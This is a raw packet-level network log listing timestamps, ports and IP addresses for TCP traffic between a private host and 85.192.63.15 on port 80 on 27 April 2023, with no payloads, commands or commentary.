Apr 27, 2023 07:41:58.803793907 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.805300951 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.805351019 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.805385113 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.805389881 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.805428982 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.805428982 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.805464983 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.805465937 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.805502892 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.805519104 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.810713053 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.810750961 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.810822010 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.810856104 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.810883045 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.810883045 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.810883045 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.810899019 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.810910940 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.810935974 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.810960054 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.810988903 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.817759991 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.817800045 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.817846060 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.817892075 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.817928076 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.817995071 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.818023920 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.819555044 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.819607019 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.819645882 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.819654942 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.819664001 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.819690943 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.819705009 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.819739103 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.821414948 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.821468115 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.821495056 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.821544886 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.821551085 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.821579933 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.821595907 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.821628094 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.824882030 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.824923992 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.824969053 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.824971914 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.824994087 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.825014114 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.825016975 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.825048923 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.825059891 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.825093985 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.826534986 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.826575994 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.826620102 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.826664925 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.826702118 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.826714993 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.826756954 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.844976902 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.845057011 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.845088959 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.845122099 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.845191002 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.845235109 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.846259117 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.846308947 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.846328974 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.846354008 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.846369028 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.846389055 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.846400023 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.846432924 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.848187923 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.848236084 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.848242998 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.848280907 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.848294973 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.848335028 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.848341942 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.848376989 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.853483915 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.853522062 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.853559971 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.853564024 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.853576899 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.853595972 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.853610992 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.853635073 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.853641033 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.853678942 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.853684902 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.853723049 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.858719110 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.858755112 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.858797073 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.858831882 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.858874083 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.858920097 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.858922005 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.858957052 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.858966112 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.859009981 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.860224009 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.860270023 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.860286951 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.860305071 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.860313892 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.860348940 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.860352039 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.860383987 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.860394001 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.860430002 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.867389917 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.867455959 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.867500067 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.867516041 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.867542982 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.867588043 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.867597103 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.867623091 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.867635012 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.867671967 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.872179985 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.872229099 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.872267962 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.872307062 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.872307062 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.872343063 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.872354984 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.872389078 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.873922110 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.873970032 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.874051094 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.874052048 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.874088049 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.874106884 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.874141932 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.879086018 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.879122972 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.879165888 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.879213095 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.879216909 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.879216909 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.879245996 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.879254103 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.879254103 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.879292011 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.880928993 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.880986929 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.880996943 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.881035089 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.881052017 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.881071091 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.881081104 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.881115913 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.882510900 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.882559061 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.882572889 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.882630110 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.882632971 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.882675886 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.882702112 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.882747889 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.886023998 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.886073112 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.886094093 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.886106014 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.886122942 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.886152029 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.886157990 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.886188984 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.886200905 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.886236906 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.922318935 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.922382116 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.922415018 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.922451973 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.922483921 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.922529936 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.922605991 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.922624111 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.922625065 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.922640085 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.922696114 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.922696114 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.926045895 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.926086903 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.926134109 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.926179886 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.926193953 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.926232100 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.926245928 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.926245928 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.926280975 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.948878050 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.948937893 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.948970079 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.949006081 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.949050903 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.949095011 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.949100971 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.949100971 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.949100971 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.949139118 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.949162006 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.949172020 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.949191093 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.949235916 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.952208042 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.952265024 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.952311993 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.952316999 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.952316999 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.952358007 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.952367067 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.952399969 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.952414036 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.952454090 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.976537943 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.976592064 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.976624966 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.976670027 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.976741076 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.976788998 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.976788998 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.976788998 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.976789951 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.978086948 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.978126049 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.978168964 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.978171110 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.978195906 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.978214979 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.978236914 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.978270054 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.978277922 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.978324890 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.981327057 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.981364012 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.981409073 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.981415033 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.981415033 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.981456995 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.981472015 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.981497049 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.981511116 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.981554031 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.983113050 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.983165979 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.983201027 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.983218908 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.983232021 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.983288050 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.983300924 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.983355045 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.983356953 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.983416080 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.984668016 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.984723091 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.984744072 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.984767914 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.984781981 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.984802961 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.984824896 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.984848022 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.984857082 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.984885931 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.984901905 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.984935999 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.992307901 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.992350101 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.992405891 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.992427111 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.992433071 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.992475986 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.992482901 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.992513895 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.992530107 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.992566109 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.993856907 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.993905067 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.993926048 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.993951082 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.993964911 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.993988991 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.994005919 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.994039059 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.995709896 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.995757103 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.995800972 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.995803118 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.995803118 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.995837927 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.995852947 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.995886087 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.003161907 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.003232002 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.003282070 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.003293991 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.003360033 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.003360033 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.003366947 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.003422976 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.003441095 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.003478050 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.003499031 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.003523111 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.003529072 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.003561020 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.003573895 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.003608942 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.003612041 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.003647089 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.003662109 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.003703117 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.006519079 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.006567955 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.006603003 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.006625891 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.006648064 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.006658077 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.006658077 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.006685019 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.006705046 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.006736994 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.028939962 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.029006958 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.029040098 CEST	80	49697	85.192.63.15	192.168.2.3
